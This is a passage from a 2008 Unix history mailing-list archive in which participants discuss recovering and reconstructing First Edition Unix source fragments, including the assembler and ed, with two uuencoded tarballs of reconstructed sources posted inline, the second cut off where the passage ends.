s1 > fragments recovery. Sorry I didn't explicitly say before, when I showed the directory listing, but alas, the s1 disk image only contains (some!) of the source files named [a-l]*, and so all [m-z]* commands, and in particular sh.s is explicitly not part of the s1 bits. :-( I have been hoping to recreate it (and other source files) via disassembly + human polishing of the s2 binaries. Warren Toomey ...wkt at tuhs.org... wrote: > Where can we get your reassembled fragments?! I'll post it soon, although I think others should do some verification before it is checked in anywhere. My methods were sufficiently ad hoc as to be inherently error-prone, despite my attempted care to attain correct results. I'm preparing some notes on the Reconstructive Software Archaeology effort we're involved in. Reconstructive Archaeology is an existing field, but Reconstructive Software Archaeology gets zero google hits, and "Software Archaeology" is somewhat widely used, but entirely metaphorically and/or humorously, so perhaps I've coined a new term. Whether or no, terminology aside, I think the activity is very important, and will increase over time. We're doing something of long-term importance. Warren Toomey wrote: > I'm glad I don't have to rebuild the s1 fragments :) Thanks! Welcome. :-) Warren Toomey wrote: > which means that we do have "ed" in assembly format, and given that Doug > found "ed3.s", we have a basis for comparison, which means we might be > able to revert 5e ed1.s and ed2.s back to what runs on the 1st Edition kernel. Actually I mispoke before. Frag0 has 1/3 of ed2.s, and I do have a version of ed2.s reconstructed 1/3 from frag0 and 2/3 from v5 ed2.s. Diffing frag0 with v5 ed2.s shows some changes to be trivial, e.g. optimizing multiple arithmetic ops to a mem location that gets loaded to a register, into a register load followed by arith ops to the register. I.e. they seem pretty similar. Brantley Coile ...brantley at coraid.com... wrote: > With the 'b' command, you'll never miss vi. Much. I do know ed, ex, and vi, but I don't remember 'b'/browse, and brief googling doesn't turn it up. What's this? (I also tried it with FreeBSD "ed" which, whatever its heritage, is not the same as FreeBSD "ex", and that "ed" said "?" to both "b" and to "browse". Are you talking about some kind of extension, or what?) Doug -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow From brantley at coraid.com Tue May 13 01:16:13 2008 From: brantley at coraid.com (Brantley Coile) Date: Mon, 12 May 2008 11:16:13 -0400 Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <20080512042452.910DA5A5AB@remarque.org> Message-ID: <447c9105644afdb8ad09e3b3761f3267@coraid.com> > Brantley Coile ...brantley at coraid.com... wrote: >> With the 'b' command, you'll never miss vi. Much. > > I do know ed, ex, and vi, but I don't remember 'b'/browse, and > brief googling doesn't turn it up. What's this? Beginning with the Eighth Edition, ed(1) had the following command. This is from the Plan 9 ed man page. (.,.)b[+-][pagesize][pln] Browse. Print a `page', normally 20 lines. The optional `+' (default) or `-' specifies whether the next or previous page is to be printed. The optional pagesize is the number of lines in a page. The optional `p', `n', or `l' causes printing in the speci- fied format, initially `p'. Pagesize and format are remembered between `b' commands. Dot is left at the last line displayed. In 1983 I added it to my Seventh Edition source to ed and kicked the vi habit. I used it unil Sam(1) and now use Acme(1) almost exclusively. From newsham at lava.net Thu May 15 07:48:32 2008 From: newsham at lava.net (Tim Newsham) Date: Wed, 14 May 2008 11:48:32 -1000 (HST) Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> Message-ID: > FYI I recovered 100% of the s1 src code fragments; I presume this > is of interest to y'all on this list, yes? How can we get a copy of this? Tim Newsham http://www.thenewsh.com/~newsham/ From doug at remarque.org Thu May 15 10:35:23 2008 From: doug at remarque.org (Doug Merritt) Date: Wed, 14 May 2008 17:35:23 -0700 (PDT) Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: Message-ID: <20080515003523.F23795A525@remarque.org> Tim Newsham ...newsham at lava.net... wrote: > How can we get a copy of this? I've been trying to triple check my work, but ok, below see (uuencoded gzipped tar, 15k) the most complex set of reconstructed s1 frags, the many source files that is the source to "as". If that seems ok to everyone (I'm not yet in a position to even so much as assemble it), then I suppose I could go ahead and post the rest. I just hate to drop stuff of somewhat unknown quality on people; it seems unkind. Doug -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow ----------------------- cut here ------------------------------- begin 644 send.tgz M'XL("+Z"*T@``W-E;F0N=&%R`.P\VW;;.)+]2GX%9XYGXL2RC`LOB9SN>=X/ MV*?IWG,HBK(UD40U2=E.?_W4!3=>['2?W8[/[EHGB at D4JE`H%*H*!5!E)^6R M^^%/_0 at I1"[$#T*(5/)?_-B_2HCL!PD`EZE=H_W=;W_'@Q]W\]-4LKD^CHY;4[74B9EU]6'];YNDQ,\)C*.XT.Y M.Z[BNFK:.ODQP=+51_E)+>/H7X=3A-+KX[MF!<6NC4[5 at DC$T:%Y6$>G9KMH M11QU7[OHL=WU]6W2G/OU>7N;9!))3%I5^Z:K3?UVO=WMQY"^Z]=1W;;;_5T< MK8]U5-9/NYY[;[/%MFKKLK]-RF5_.&DB%%WT3WVW^VW1RBBZ2>J'^IB<3W&T M.U;192O?`YE=%5W(!1:N_G@]=M$*H#X8)_=YF^32Y=M]OYJT:8.AK*I]C"M at ABAF;]L4Y3Y MNOXU at M'2G*!(UFTDU]3*S(8T]/]@-9K66A[K=XV1#25O M`W9X\["!-F*YP$*Y@<([$1#"3EKQWC&`D*Y9HQ#4^CEG(L%!%X-!Z$%)#4IR M-%SG:N0J^KQ-GN#S\]&[U77=/];'%?D$'*CQ5NM]S]*&6C\G6*NVUJ<:SX;# MMWVZV'&C9:4/R*7@;G`^,O at P=$_L!8H5QQF,)PDB?J[9=G2KJJAIU M!52A*\)968FGBP\-A(TF:C./R`P]+BXXJKSBH!+<8.1FFB$+ at _*[HE(9\/?: MZ_//_H#]UZ^]_RNT9/NO:?2(%L1S"*AG=[+;.KM!29S)J-6RH MDB2Y@?V4;6UH;>K*]=N:2CV)RDIQXT_2'\LG:+BBU-6]CRVY/NQ4D#]4+WB->I^Q,2"I6A$A_IDEK&UCWYWD8 M2OA^UPT,MO138?PK.7;PK$^!L)#J>@?;K`M=+'B388<_PK)M.QK at M3*M+=O* M((]GX7@^/)0L#".S[9IT:"@L"`RVZY;';(46PH]/_79])7U_7*&\IZ<*#R>" MSF>/4PO&"1#.;9(&?*?/:G[]=&KK;NRS2=QR/`FS$@\FTF+QZ/P"H#Q#RI$' MM=&+L`F05C0)E9TPEYSX"Q01RU(R at 8VR,S,Y6!MBHZP^SKKXM*1Y)L8,#S.B\XD,%UA83E9C*8TCK=NY MZ*OVE12>POI#VQ9(XG?:?_#_Z2O[_U0KX?R_*@3M_XJW_=]W^8#_3Y_U_^#^ MVV-YJ*T+'>SQ7MIX at 3["/H(?NZ^'=;.G_0VN at 6NGJ';5':M[1X/V/:>O:/66 M5!@T0E7_?8TD63_3?L#E9:MP9T3;M6R!R;+G^!A at E_O.[`BE$P:2FHX$+98U MO387%S@(8P9HAWG?W5->6CB2891`"QN:8)K8;'BMU>%:MCPV7WBA/C"]*X^C M5M-)P#)M7REJ".,S$LW"9E at -^R\!UI&D@$R2)!P$D[%;Y_)-YCO(@`9[9Q>4 ML143821#Z0*,B5)KY7!WQBET<-IK,-=?,#T`U,E/#\,A3D,$?'^[`N=?6-^PE4B3C/9P>LBGZ+!N,!S:81W7V^K8NSP2(W_`ZA,1H'T;EFPP M*HO"4UX/@C6.QG='!]=F>6,P=IL`F?/VUJ1UJLZ%A+:UFT2Q<&R1P2/$A>6" ME&72'0T0"N&)FN9!KJ-CV=Y!F+B^Z[V%A;AK$<1P:IHC4]/X=&QHG)H''8[EW4M MYRG/)DA3.\FO'4_];_M`_)^]0'U%%Z[K,6:3UQD>#'!7%:08<0\CL(0[`[X42Q,&<#+]=>^3M[= M+.#K2C]_7B1"9Z[\$Q9S5_P;%@M;%%#"VQ9/C8WG+ at 3FA-+8##4XXV")C&-# MF\G*ESZ.M)6Z6++[9_'9+`EM%HG>.4 at 9R_9L6.MR'_#1,=1H[85JFTTG]'`:(,?'J3<`1UC'> M##+%'HO2%6LHBM05<=%CXMD46VSL[46)4&\O3F at O=&`ODFOY?_^\\^TS_$#\ ME[]R_)=)K6W^5TJ5W MA)_9$CZ=6C9Q0$L6,12]W;?':"8WL6GZN3 at I?>\S(T!8F0"4"0^9R6X3K3C8 M(/!\S&!.>H97;&SBU4:84E&FDAA!UG5TDQS*4[)MX-O6=XOMINN3ODE`=T!F MU"BG_PM&$/Q'CM#WFYOM!%'JF4ZZMEI at 3^.V&?_ASB3WIK at WQ;TIQ7^`*HD! MGQE+,98R/.HDX0X/YWW2+=I15YK)@4CC&U--6"O\4P2WOC<;G,?FI,(#K<7P MU`[G&YU>.;=9,'-"PUOA^7[2082SKY/F5+Z-BW MV9JR$]^LH7.()'!N:=!2\!_YNY0XODG(P1)*/D7!"(':#Y at SX6R[*K=[CUU at I."C)A at EHB/"#E#'WVX?C6.ZVU')FW(,C MCVD&[#_=53/,0F(CHZ#^@@=5P+R9.QV^4[Q at OB>P#A3+WB*AWNA`&X_)^<[! M<]<[OB576"JA7&G!T$PKGG=5K-Q]`KK0(8W%"*XAP$X8;T.D_FS=U&1D2EBB M=#@@3/);9=?*'P`)=[X?J$_5'`X-S9)6+\C at OR6"T80^?Y+]Y%GC=1 at N]TMS M^K\/.[TVE0?,+;K:"U.[:?;[H/J#O3\`3CF^J_NGJ;(->C-Y_)='$Y[]@S$= M59R&ZW9T3N\DKM'MX/LC0&'7]>`A^Z^G>B)0W\F(D%R]V$\,0OOF79,QW],^ MK6RNGIWI&;;LB6W(S0%?^GE6D2Y?NA8%4VX3LCB#,T;UCX]K+"Q4FV^2?5'< MJ&'/C%!X10P$&+H=7J at OW3KY$&1UR+=,FW at O&-N16F53BXO"WRNQ^B?];M56 MI>X,.#3+[,S":[9454]YJ,<\#&[S/'_]Z_T+'OP/WD!Y^[SF!_9_Q6O?_U&B M,/N_(LNDN?^KW_9_W^-SDR1E\?(+(&1-[08P&QS^O;L*[P$TIVUSQD#=OD9A M\Z;:IG7+S0,$TQ.+$5RJF-]>RJ+ at +=WRBAU+L1WO#1%?<4F:D(YV#45 at T&0J M?<@45%Y)L337-=UY-E]!O0:HZX*BO=0=X&[7U_]4'Z#!+]Q"<>+0]#MS!=`S MY=XUT5Y8'NI\1O53W1:\^XOGL)M).*8"BZW"T,Q(=#,)J\.;L&DYBX$WD,ES41MY[.+ M\#A`>DT6X3S%Q.,WKLN\'*(X5_O+LZ[V%[\\M-\IJ/$)^/BV1\Q,FFV=4PC6 MJZ?ND6[H.<5"D=EWA@:JE86JA;>6@:Q14:,=&6H'$F3U2.HGB)!(/>`1]CBD M'O!X..])/>!QLWM at G8!G/+L#34$TY`^UHW[:=_>L'/53BX^@&TBAV=#/CRRO';5+%[3SJ+A MGG562N?]O)1.7T.]GT,%Q?H?$["8D@>M>U$`SPB:_JZ\RS2&`<]\C-5A6EYI M#:,D(7L#E:]2X1X_*&ISL2J\\V_V,.']OR'9D2UQ!L1E:<2\%0CW'F+P>L'0 MT4_>+;2^SKQ^$)@L^\;A:X=!_V\_$/]_?.WW_W3J?O\ERU+Y%O]_Q\]-4GY\ M,?PW5W'.-=0G,)S67FFDG`@HW[`A;O0D)S M!OS1I.5#^8TYA\;6-G.8[Q_6TS0/= MOY:WS_^+Z>7R5<0ODTXNX9:4 M#P^XG,=`NSKVMBV_ZY'\F(#AA*;\S@<"W6L at R_C4;`VQ^+%I-ZZPA5C#/N*+ MD+Z>KA?;(LN`7QVQ3-"]:B[0K6P<>F5Y8@$$4#HZ-D!S/]L5MZXGAIUL at 6Y> M!R*!HNN`MS&V2$EGAT:[-5?"=SFYD+Y%%\]_P/]_>EW_+S.I"^O_'90C$<%:K,&8U!LHR:A<=\W^ MW-=04%%?/_7PH",P>"4\I!'8.OB;1=N]O3^!UR^P;1;01]=7V\U[:))' MYLS])BIPMX7$!6X5\$'BNP_XH'#7L4TN?]QOMHNNWR*FA.[HDH*]-$#D"9*: M?MV5BDO8K3%2%@UO&B27L%\A2,[N!1\+%!01T=9<.SCLPI-CRGD3T^Q%(6+8V8%/1D!*4*Z)1$I44$>^$%;&H72=U7 M6"/QQ45\@`[P7#B.V;<)+[3;AX^55 M(A0]K[@^N5G&LI!9'K04DEH,&BVQ%S>`6!1*%>+68*CTUC:$#23`=#J!28!) MA($=&,,4P!3!\@E,`TPC+-,36`JP%&$XT!$L`U@&L#2;PO+DICO%(E=R.H8B MN<$C,9C,!/0?1HVKX.])][CKJWN4JY"JD(5%`UG)HL@*&'K5/<9HTHI\"-0H M%\Q[P6`"H5D@#+ZL8@%XV00&`SS\"C"EG(@=#`:!>351Z'1"5$*/786CS]4$ M!C,!"TMD:9&I,0R8.38`!))B@@C<8$8,Y)Y-@0I8PFK%G3Y%;:"Q$ZJ=`@&?K9-^P5&`@*"2OS!L`",RH%W]Z64 M2A/Q0 at 9@8)A^WP&F&B\6WHI,YR$ZZ`B^2853JC*8TD+G(3H,B=\,DZ(H\BGO MH"J/)?(N5:Z`.L at E]6"<`_J5/Y`F^+1\/#:N$3]5`1@&7]UO=C"912%S1"^R$!T&W^\.()M,9#GV M"]TK#T;U*K\0/M"7*+Q"AL,KD#[F90E>W((;+W(/5SC\^^81I"M at 9E$\NB@" M.`R?WN-%+2W2B705C!_\0?#A\F?-M`P M_#O3`,:7074F1:!=&IFBL#E1ZZ1E75WHT0LF)P=3AYJ$?V4$`6>5&D`V3-X#5. MDX5Z9`]E9!QH@)Q:<.6A'ME#3<]#Y,R".P_UR!Z*R%JG0[9S!N-A#:Q-&&4( ME0:*YS<@?Q./\2KV5I]G(*5>6 at 0J-#$A4#(+QQH9S+0<01FU_A6AN1[A*L:] M0UPP7ND(RKA[$GJ>C:#:X/:$FXXH:X-+E%,YP"5-0>AI3R-2<@1EW,..1"Y' M4#/>^QWUR^Y$>ZCIM\'Y`F^BA\AFP`]HS9'+$921'SK7<4A:VXX)G,D1L@'7 MI&6ZF(=6E>-Z`+5<(VXZH'2L/#9$M%'O&7RD?(7-\1X[8 M0$-D"UVCK9,^<#3()*1C?>>A(;*%FE4\[CGC55QY:(ALH6N*$=48.:=%OJX\ M-$2VT'4L:;6.D`L$]UWOH2&RA6+/4F>C>>2P7L/ M#9$M=$U1JASW3#-98O1KH2&RA3*R&/>L&;SWT!#90@$YQ9^S'2(+8NQ?Z&0@ M%B!CZ)`%V2R0]F-)%A>WO4 at D]^P+4IN41$- at V(OU&%2#<0Q,">^L:!@$QG5W M.`W6'1CQP`2`*9$B)2W#K34 at X!'Y-40V/;X*2PLQ#9K3DT+_C:?AM$SS"50A M](&@A9I`,2S=_\8A]P0WHR5^Y)AOTF^.(5-=<4 at VPU;ATE?%$!3XN"34P/Q%4B.MGPL9A>`2]P>`4Y2;:O*AHCX$E,`EO@: M0]UO'=CM71`L#7CCP#J5`;9B\,Z!77Q+V`:\=Z:2^P9U`G#*K/V[O7-I;AM' M`O#9^A6.G=DADBJ+)`@"(`@T&HW^9NN)[U7D9?PZ"]NK3'!&"N]77L8OOQ@,-Q/_ M<>&&++QM[F4:J`M0S_K+]2NV\P*9CYXE==WDJ;J\JF/E"ZDVX M?>JO-S"_Y_O]]:6\OU_Q_3V?_F3I!1_.'MQ/PVP!ZA\O^8C+-!@65O*9^$FW MN%QRZKO9Q$_TQ67ZC at H[TY]X45(FSJ]EOJ*L5RIQ5S3(&BR'^N8OM"O%!/0K M<+765TN\6M+51E\U>-70U9Z^6N'5BJ[V]=4:K]9X-=7/-'BUL5].65[5#74U MV^ER`=\-]&*^'%`?_`8<WQXV!S=^JCT*>%42H7981Q1J>H'`D")$:B^IBO M/CM-S46I]"0RVFY6_/B+C7RJ%#08AU^K?6\VTLW'FU.EX1#Y+FQ^;"2;MQ`I MR3E$&CD]B!6GA?PJGFEI;X3:.,>)>K)D2YNTU?-ZVAWCKQ9/";?RQ M?8VQH3(6"0<]&@K+IBX)M-G at S5+?- MFBUV)?)&FM6=4ZW:$L,_V'0_6#NV!LR[W[(+'=KILPH.F+RK;31(?&W@!&^% MX5T9PC@&?"JQ82%;SH"Y#+$U(N\\[)*([7"=8Z`<^*0,-ZV6DWPTHN MA!-H206V36#:9+SEEH at 7K+I<[F?+;='AF](GZH(\_MULLQ_[YJ MGV._Z,+<^\7SIF5L9N:=R\OXWL%R&>T@@B7PUJ[KNP^#C7EI_E?=,\;S/WH- M\3_Z_7;]]SD"\#\.`,!,X0!@Z:`7\%\=G(<4NY6=:OXQWA2PAKI<3U&Y&['! M;L?.,='F8]&!C,AFLE'(TN:T!55WL[5)C`<;,8G5T7TQ(IWZYZQ M9T3F>/`UFUQTTUF4#7]OS;UZ)3R8AD1L-PS+$S81\YJ3,:\IH3/#.X#CQ]ZL MQS-]BWNR,\L.L;6Z6MHZ6(_5`YTBXSMU%(M#0 MBM#!RY&HILG%L$"KARE/<%R3FPP%8X0PI*X29(06[7+SE^OUHM9U,[[5M.)E11T,7A6\%I;B>(V+/= MYLZE&9_#G-KR#E8K*QP5D]UL%GUS'2]J3N0N!%W5T`]#5;PM>GYO`WV$ M&CSJ&W8;KY>+CWL^V-PEL74/G?5>L*-:_J[9^6OJV"__(AY\4\FS#\8.S3_S MACPM$9*AF9/W+^V at B`&_2-.FAR)4>R*@CUE8*X?YUW*W1>@0[`@JP&N?9_'% MA$3<7^5V:O&&1YA;HJ<\L0,_G:B-[G`OC_KZT_G<8H83.M@"1\_GWD;L4`R[ M2P1FI.FDD)%*.*00SGEY+!7[0%UWS4.SVWSB=H-0UQ7F%=I'>`!ML(_P,`#E M78078[&M,G6G_5V]_^>5_ZS\_]+\/],WE9?_R[K?RO_/&`[S_V`;*;'@&%ET M8^K/(('@;UH-P[&]LF-5A\ MAMN@,)M0FH;ZJUINFO,Y]@:TM?0Z0W/9A*V<5,=.5("&6ZZC8CV;',= M164OFE`%(2H\%*6 at BC:R5Q,_!(".1]9+O.=X;?8-OMP67N.\8Q7M/(QBDQ#G M8J\Y]GXO1,LP.+$T`%L/0H?^YJ#C(HBKFC2\@NUX8]^6;?6V$;'_T3?#V/L* M\G73+=IK2:.,"S?RF=W83>V=721+3] M7FW-=Y)-]QGHG8_J_^WX_^+\QU[I]7]54Q'_J=?N_WB6<)C_:+Z,_\@3POV\ M17+1H1Q0>S0)W^Y<3:>^8IX>V?@59$6Q]I(..1%9T6$?2=@X,P&PR/Q*=?]* MW*\!BJ$$K&AY"F3AR16. at 9/ENHC&J3R'\,*`K#-8_&UK>_/!XG8<"T>./.AD M%AB*8-G5N^GF[I>>Y*L?"LIR"*/B64C^1+`U'XLZ96M/VF?7R4\AEX('-)9V4B_RR MI&D[_K\T_[&JFM*/_Z9D_]\M__E9PD'^(\[_-^/MM>I^I;#NS"NZP5CCASZK M?)T_'/[YJB?UVOC=G(`-HITD!ZL-&1^L[7.WV&^\`$AML`>A\S`E`KN^M1;& M%=C>95]2LFBNQJHZAHDX.GUF1I2K"B?UD^U$"1F:>=?.A(L\D;GWHH3K%L2, M"1]'5$7E4,?X*)%7ZGE+U*-0:IGNMBRKM1R!A M>OIU7`>^,-W)B7Q!XPW+(1,[-/NY%BUKP#M@!U&^,95AC;:$A'!6%J?$VF`Q M"T<-#MS.-0DE=R]A,?XDFPL4!F.YN"""X#$\VCD$\X\Y,WY]4S3.D+)JTU$A MW8022PFMS57S[1@;&R+V:*D'L$>^?3AJG8;C%43'XURX.UGZ`EMHA3'Q;#Q< MK73F9HQ^`8X?C:`UN^>F-4T/;=E/@Z+UF)0'!>7Z%"TXC9*%SWBF$*)@$=QJ MJ%`\U5&A at C3GUSD(PRE+W\&5JZP;2UB[:D(UH/H`T;+U5\<6*UZU7O$:12M> M$@SZ/'BEM:CR]1# M*[JLG'(;"(FSZ=P9SB)?JGL9`:::APA2)B)%U4_- at JJZ&OF$KR[8#@4D-)CA M[%L25-6%'F5KTM*&R:Y7R at DU[NW6.3`?TL:&1/,&&DEWHUQCS.`EL3Q`@IJO M/I\75DI'%THHT\K7`ONP_(MAP%*%=Y?U-4SG at KP5 M&0LN#`P&31@,4)%7.U.4=^@Q37WYMC`-T(GY4=04T_]6*!AQ'M`^V?8RA^S]/:^ MSM`4<.<_P^B.N:UTSKC.K9R_Q:YP#\/.->1>[9`8784@(I_B\L$!GA=73JY2 M'@+B12MVCX7B9<:!+!\O,Z*_$CLKZFCE4>Q.,"I__/"^?]4/0_8B.R"QC!8; MUYD)+Y>R,9)K-%FKI[!FY4R$\G5!]+Z3J^E$USKA]^#/&K7]F7I\)(LO"&=9 M`X#'$/GR at _L>.%]LJD25^C"I[TCC?3&\.LLBV$DS'K\'$HQI_BU[+6GS1IKD MO'$^)CO$;+V, at D/ M6H$<;:'0Y4]&K*5W3Z5IPB9J;\*N*PCVW=-]#2DP#+T,4(OR/!'1T.8527C$ M?/@ZMJ%?\FK\.E`ECYR)*Y]Z:&R(3JRX/GO=C"3GJBPF(B:?L!AVI1PCK8K(7W7]`:6-?+*@+( ML;_1"/F%WX%^A;J_AECF4*OYSH"2Z90%FZ#,\%&(R4=^C?%J*]5:/WXL9`JC3"28EDSY783!QKPT M_[&INSW/?^SWG81%B%"2+I.1QOA(VN3\RYB2V>=_.1?RSPI\-/RKC-B/ MX#OQ&]`?734+_"-K4!P<,B>2UY'?HR='199B\/N&K$AJ7G]F/*1D0 at I6)+25 M?8!(F?,G at D#:"<1V;!Y)@G0W9=Z?X,2"P1$GZ2*:_87),B'A02O3>1P8$FZ: MFT?2(5V1O at 01Z>Y]%"?2U^$7PB*_[!UD*C[+BM35\43`R%(.N_/!_?9SZ#[F M`]M]S$(^2ZH;L,4MHV*J^)"UL.E,6/+.R00>'#CP1E')J+\0D/ID8X2S0*0L MNEW_>:-3RL>!L?I5(_V-^3T7/\2^REQM^*V;7`]\7 at H#C8I%G;A<0GI7_%)< MF,YO\*?LT%=T[>EHY_%_K/>?K_'D[IX#*0\K?]BAQ9KK$UY^Z:S=,:_+=#K.H=0U M#M67X#OM>+`C^43S1]OWX at B$GZDG'/*?#F?DNK#/8;]MUT44Q67-G;Y1Q^+1 MXFR'=LCY3*-_-<%3%+Q)=L[C[F0O/NY0@"--`$J:SE0"(,(,DE"A#NR]2\*.Y75K*F9L/+'U4PG8`4O.H&F(3YEM#EQ1T\Z6MG^ M_X7YCT#U\O;?967:_O\Y`_3_;P[V_QX`26HO^_OR`M9Y\\#!#%GP&)1@#`^, M<8$Q(#!&`L80P!C[%X/^%-K/L_TR:#\%\XOQ?3&P+T;T*2A?C.&+P7L*M:?@ M>L?B]!*`7H+,TY"\#!8O!>'Q"8^^R\#N^`4%O)T&VN40=BFTCD\$3%T"ILNA MZ/B4@,]Q"PFXN10PER#E$HA<@HU+0'$Y-%P&!I?!OZ7`MP3QED#=,A at W/N/! M;2FJ+8&S)3BV#(#M".2:AJPE6#4-4DO0:1J6EN#1-!`M0:!IZ%F".=- at LT,H M,P4OT[@R#2C32#(-(=/8,0T:TV at Q#1/3^+`$&*8181H*EF#`-/A+H[XTW$OC MO!X&>&ED5P+ITEBN!,2ET5L);$OCM1*@ED9H)=`LCYD8]#(K2:"@-@]+X)P5\ MTH at G#772&*=CP4T:U93`F1(<4P)@TLBE!+*48)52D))&)R6PI!P>20.1<@@D M#3U*,$<)V"A!&27PH at 17E`"*-))(0X at T=DB#AC1:2,.$LC2A+#]H#S%H+R/( M7\#"=Q0`J*-8/U'R at NJC.#Z*W*-8/9K._GFJ!#2HQLK#Q#1T6J0B30 M@(A;8(T2W0([+`^Z!2[1H]A(KN^23VB.L1)KV#814'9Y'@\^EU_,:^_B!)X! MHKWTK3'>Z&5<7GEQ:[?TS!;DTH8VM*$-;6A#&]K0AC:TH0UM:$,;VM"&-K2A ;#6UH0QO:T(8VM*$-;6C#]Q_^!_U=9Q8`\``` ` end From wkt at tuhs.org Thu May 15 10:39:58 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 15 May 2008 10:39:58 +1000 Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <20080515003523.F23795A525@remarque.org> References: <20080515003523.F23795A525@remarque.org> Message-ID: <20080515003958.GA1894@minnie.tuhs.org> On Wed, May 14, 2008 at 05:35:23PM -0700, Doug Merritt wrote: > Tim Newsham ...newsham at lava.net... wrote: > > How can we get a copy of this? > > I've been trying to triple check my work, but ok, > below see (uuencoded gzipped tar, 15k) the most complex > set of reconstructed s1 frags, the many source files > that is the source to "as". Doug, all, I thought I'd have a go at the reconstruction too, so we have a basis for comparison. Attached are my reconstructed files. I haven't had a chance to unpack Doug's files yet. I can't get the C files to compile with the V2 compiler, as the source code uses a later version of the language (e.g. char *argv[]). Cheers, Warren -------------- next part -------------- A non-text attachment was scrubbed... Name: rebuiltfrags.tar.gz Type: application/x-tar-gz Size: 56673 bytes Desc: not available URL: From wkt at tuhs.org Thu May 15 10:48:22 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 15 May 2008 10:48:22 +1000 Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <20080515003958.GA1894@minnie.tuhs.org> References: <20080515003523.F23795A525@remarque.org> <20080515003958.GA1894@minnie.tuhs.org> Message-ID: <20080515004822.GA2369@minnie.tuhs.org> On Thu, May 15, 2008 at 10:39:58AM +1000, Warren Toomey wrote: > Doug, all, I thought I'd have a go at the reconstruction too, so we have > a basis for comparison. Attached are my reconstructed files. I haven't had > a chance to unpack Doug's files yet. Comparison results: most files diff fine except for a trailing blank line here and there. Warren is missing as21.s; Doug's as24.s has a few leftover lines which can be removed. I will start checking the files into the subversion repository, using the source layout from 5th Edition. I will also diff against 5th Edition where possible to determine which way to deal with the trailing blank lines. Cheers, Warren From doug at remarque.org Thu May 15 11:00:50 2008 From: doug at remarque.org (Doug Merritt) Date: Wed, 14 May 2008 18:00:50 -0700 (PDT) Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <20080515004822.GA2369@minnie.tuhs.org> Message-ID: <20080515010050.15AA45A525@remarque.org> Warren Toomey wrote: > Comparison results: most files diff fine except for a trailing blank line Whoah! All of a sudden a flurry of intense action. I didn't think anyone was in a big hurry, given the quiet on this list the last few days. Obviously I was wrong. Below are the rest of my reconstructions for you to compare. This includes the ed2.s constructed from frag0 plus v5 ed2.s, which is therefore a less a reconstruction of lower fidelity. What's next? Do we have OCR on the various manual sets? I'd like to reconstruct the roff input. Still debugging my disassembler (and an ar tool with amazingly obstinate bugs; it should've been easy). Doug -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow ------------------------ cut here ------------------------ begin 644 s1_reconstructed.tgz M'XL("(*)*T@``W1T=`#L/&MOVTB2\Y7\%6TA,];;)"79&^?R+Z_],H<+59**J>!=B M(]NG59S>VO;T-LDVB;4+R]NQ^J7,BFJLHBP/T[&Z#:L'V[9VV;W5+_/!:%PL M;*LJ*V[9MKNTK6"76\5B_,JSK4U266[4P(\+A\8W5K]P!N-7IQ.`24."H6Y7 M^K?<[T%_G`;6YOW6?V];VS"PV at 2M36&Y&]M;=N;G[?EYE-Q^RO2'AJTCD[H+ MW#10C6"B.$G]G:9`@C&!8+Y?W`;<*'-LY-S at B22IMV6!@"3[E8HV>^!G`TB0 M+QE#)=F6=?FSGZ99I1!2/52[_$WZQKE:J6EX'Z:V5;XOK?`QKIB/,JRV_(3T M7L6`=URX)`7!BFIN"):U#@MGW"_<6@;NF":/W/,IBB*SO`VCR(-QDF6Y7CT1 M!1;0TFI$\=1HNM(<@4R#I+!B(DWLG3[B6/6^@UD:>1&GE;E`'$5U)B#;(@-, M0J9Y1AH@@H3PQY'TCB.4.&I9C&T3_J+M,K)V\3:-;^\JA at JB`+!O;FOCCBSH M'T]0\])N3Q!F][F?)%W6I06KWLM<,2!C8AH^($^BLHU%`B$3(1%!@S3(6G'` M@!\;`SY*&Z@!Z:(JH=%L6M9NLW1_N[5>N:^G#6[0>%BQKM'L0;VPQ=RE067K M5R'KD'#)UB*%CE_UWCAOG(8U at WYK'=A!^^UY;AK#:MLEMHA6ISWR#GKF!SWG M1@^K5-K"J(UB.\:L7N[HN)B,Z7L]?5\6'YR^/YQ.!K/L:K2%3>^FPI,!V)KC M8F9(U.M(M)@1<"-/P4Y^GU at C2=2NH0R3,*A6"N<#1AF4'0%X9XW)B2VPM++* M3XB2'N1MB4RQ=S8G&W3`OF;+1@;((;`=6:]Q*;Q)])BW%,T98YK:)O'3=UWB MM6"1T65[]Q\WT<)K[?(/[_IM#%V`C5O@O7MW65KY&VT+Y7[#MD`` MY&,VK*D)=NL(2D;",T?>?-J$6IS_"GI,?`8);2#"M8_"=AF_!'1IX1R_#.HY MKS(*$YYX(&81Y3SZA)Y7I\IHX[8ESP+F3_*ZQPWN3,?:$Y,$S-U_6HMMPWL> M48E)\*BK1]T.X3>5[B")F*M!K3HZW+A$`>/)0Q%7X4HAY$HYR^GTT#T;>9!G MF!,9V_)H-#E. at R;`GJ*U:#2TOX]Y&Z*J;4$C[CC at 9YQE@UM,OFT.AB_Q&E*4 MN+F-2QX=\R5HDXW"F_2KZ?>>&Y at _-W#>(N%I/9-/\[HQX!B;6E*F%7Y&!V_T M")&#\40L?&J*WY.]QZF"_YAOCXV2VQ+/Y-9X7<.*NV'',"^WT1TG`\M#E^/J M2&[P>X0%]DC=&,J\:&P--?;#RR.V<6@#"()9+1L=='I-9XYA:-:XT7K[%#-< MW]R>+XVC`4I_3 at DZ8)EOB-@&/>!<#&6N3PP32=G564T2,949^8`9)RFSJ,YN M88\,^\5B0+P\8TZ\LH6._)"SVQ0QM!0RR9B-M=2IF>8>,Q=9#AJ3,(A196/Z MI(G+H.U]R+&"XD=UE^W+5BS;QK=Q]2DMH;:LS6J?1%89/U9WOX]7"/I,P*!VQS!NA.6!Q,PTJ*HZFSQ at YY:FR\M at V:`Y5=P 